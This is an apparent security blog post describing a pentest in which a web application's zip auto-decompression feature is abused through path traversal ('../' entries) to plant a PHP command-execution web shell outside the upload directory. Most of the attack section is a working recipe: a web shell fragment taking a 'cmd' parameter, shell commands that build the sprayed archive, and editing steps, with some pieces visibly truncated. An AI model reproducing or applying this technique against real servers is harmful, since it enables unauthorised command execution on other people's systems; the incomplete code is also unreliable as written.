Compressed file upload and command execution

Author: pz

In this post I would like to share some experiences of a web application hacking project. After I got access to the admin section of the web application I realized that there is a file upload function available for administrators. The application properly denied uploading dynamic scripts (eg.: .php) and it was not possible to bypass this defense. However, the upload function supported compressed file upload and provided automatic decompression also but unfortunately the upload directory did not allow to run PHP files.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

To achieve remote command execution I took the following steps:

1. Create a PHP shell:

        $cmd = ($_REQUEST['cmd']);

2. Use “file spraying” and create a compressed zip file:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable


Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system: